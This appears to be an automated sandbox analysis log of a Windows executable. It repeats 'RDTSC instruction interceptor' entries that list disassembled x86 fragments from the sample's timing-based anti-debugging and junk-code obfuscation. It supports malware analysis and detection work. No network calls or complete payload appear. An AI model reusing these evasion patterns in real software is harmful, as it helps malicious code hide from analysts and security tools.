Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A361C second address: 8A3620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3620 second address: 8A3626 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3626 second address: 8A366A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6CDCB9DDFAh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov edi, 123AE95Ah 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F6CDCB9DDF8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d push 00000000h 0x0000002f mov dword ptr [ebp+12465094h], ebx 0x00000035 push eax 0x00000036 push ebx 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0894 second address: 8A0899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F832 second address: 89F836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F836 second address: 89F83C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F83C second address: 89F842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F842 second address: 89F846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A55E9 second address: 8A55F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A55F0 second address: 8A55F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F846 second address: 89F8D6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007F6CDCB9DE0Ch 0x0000000f push ebx 0x00000010 jmp 00007F6CDCB9DE04h 0x00000015 pop ebx 0x00000016 nop 0x00000017 mov edi, dword ptr [ebp+122D1D39h] 0x0000001d push dword ptr fs:[00000000h] 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F6CDCB9DDF8h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 00000018h 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e mov dword ptr [ebp+122D3726h], esi 0x00000044 mov dword ptr fs:[00000000h], esp 0x0000004b mov edi, dword ptr [ebp+122D3AE0h] 0x00000051 movsx ebx, bx 0x00000054 mov eax, dword ptr [ebp+122D0FC5h] 0x0000005a movsx ebx, di 0x0000005d push FFFFFFFFh 0x0000005f call 00007F6CDCB9DDFEh 0x00000064 mov dword ptr [ebp+1244D149h], ebx 0x0000006a pop ebx 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 push ebx 0x00000071 pop ebx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A55F6 second address: 8A55FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F8D6 second address: 89F8E0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6CDCB9DDF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A55FB second address: 8A5607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F6CDCCD27B6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5607 second address: 8A562B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c jne 00007F6CDCB9DDF6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 pushad 0x00000016 jnp 00007F6CDCB9DDF6h 0x0000001c jng 00007F6CDCB9DDF6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5DAE second address: 8A5DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5DB2 second address: 8A5DB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5DB8 second address: 8A5DCA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6CDCCD27B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5DCA second address: 8A5DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5DCE second address: 8A5DD8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7D17 second address: 8A7D21 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6CDCB9DDF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6DB7 second address: 8A6DBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7D21 second address: 8A7D27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7D27 second address: 8A7D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6E83 second address: 8A6E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6CDCB9DDF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7F00 second address: 8A7F04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7F04 second address: 8A7F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7F0A second address: 8A7F32 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6CDCCD27B8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 je 00007F6CDCCD27B6h 0x00000016 jmp 00007F6CDCCD27C1h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7FF6 second address: 8A8000 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6CDCB9DDFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8000 second address: 8A8020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6CDCCD27C7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8522F9 second address: 8522FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8522FF second address: 852303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B632F second address: 8B6361 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F6CDCB9DE07h 0x00000015 popad 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f pop esi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6361 second address: 8B6386 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jno 00007F6CDCCD27BEh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 jnp 00007F6CDCCD27B6h 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89319D second address: 8931AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F6CDCB9DDF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC240 second address: 8BC245 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC938 second address: 8BC944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnp 00007F6CDCB9DDF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC944 second address: 8BC95B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27C3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCAE9 second address: 8BCAFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCB9DDFBh 0x00000009 jnp 00007F6CDCB9DDF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCAFE second address: 8BCB21 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6CDCCD27B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F6CDCCD27C5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCC97 second address: 8BCCA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCCA1 second address: 8BCCA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCCA7 second address: 8BCCB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DDFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCCB6 second address: 8BCCD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BFh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6CDCCD27C0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCE2B second address: 8BCE42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F6CDCB9DDF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F6CDCB9DDF8h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD289 second address: 8BD2A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6CDCCD27B6h 0x0000000a pop eax 0x0000000b jp 00007F6CDCCD27BCh 0x00000011 pop edi 0x00000012 pushad 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD2A5 second address: 8BD2AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD2AB second address: 8BD2C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6CDCCD27C3h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD424 second address: 8BD438 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DDFEh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD438 second address: 8BD43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD43C second address: 8BD45F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6CDCB9DE04h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C27F6 second address: 8C2809 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6CDCCD27BAh 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2D42 second address: 8C2D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2D4B second address: 8C2D4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5E21 second address: 8C5E34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DDFFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5E34 second address: 8C5E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F6CDCCD27C5h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FA30 second address: 83FA34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FA34 second address: 83FA38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB65C second address: 8CB668 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6CDCB9DDF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894ED0 second address: 894ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894ED5 second address: 894EDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894EDB second address: 875779 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov cl, 83h 0x0000000b lea eax, dword ptr [ebp+12489CD6h] 0x00000011 xor dl, FFFFFFDDh 0x00000014 push eax 0x00000015 jmp 00007F6CDCCD27C6h 0x0000001a mov dword ptr [esp], eax 0x0000001d mov edx, 624EF02Ah 0x00000022 call dword ptr [ebp+122D1DB9h] 0x00000028 push esi 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c jp 00007F6CDCCD27B6h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895080 second address: 895086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895086 second address: 895099 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6CDCCD27B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895099 second address: 8950A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8954B2 second address: 8954BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F6CDCCD27B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89568B second address: 8956C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 movzx ecx, cx 0x0000000b nop 0x0000000c pushad 0x0000000d jmp 00007F6CDCB9DE02h 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a js 00007F6CDCB9DE0Dh 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F6CDCB9DDFFh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895935 second address: 89593A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895CD0 second address: 895CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6CDCB9DDFAh 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895CE2 second address: 895D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F6CDCCD27B8h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 jbe 00007F6CDCCD27C8h 0x00000027 jmp 00007F6CDCCD27C2h 0x0000002c push 0000001Eh 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F6CDCCD27B8h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 nop 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 896045 second address: 896049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 896161 second address: 87640D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ch, dl 0x0000000c call dword ptr [ebp+12465365h] 0x00000012 pushad 0x00000013 push ecx 0x00000014 jnp 00007F6CDCCD27B6h 0x0000001a jg 00007F6CDCCD27B6h 0x00000020 pop ecx 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA9A1 second address: 8CA9A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB036 second address: 8CB055 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F6CDCCD27C7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB055 second address: 8CB064 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 ja 00007F6CDCB9DDF6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB1C8 second address: 8CB1D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 ja 00007F6CDCCD27B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB1D6 second address: 8CB1DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB1DA second address: 8CB1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6CDCCD27C8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB1F8 second address: 8CB21E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6CDCB9DE08h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB21E second address: 8CB22E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a ja 00007F6CDCCD27B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB22E second address: 8CB23A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6CDCB9DDF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB23A second address: 8CB244 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F6CDCCD27B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D36E3 second address: 8D36F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ecx 0x00000008 pushad 0x00000009 js 00007F6CDCB9DDF6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D36F4 second address: 8D3703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F6CDCCD27B6h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3876 second address: 8D387A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D387A second address: 8D387E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3AF2 second address: 8D3AF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D4039 second address: 8D403F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
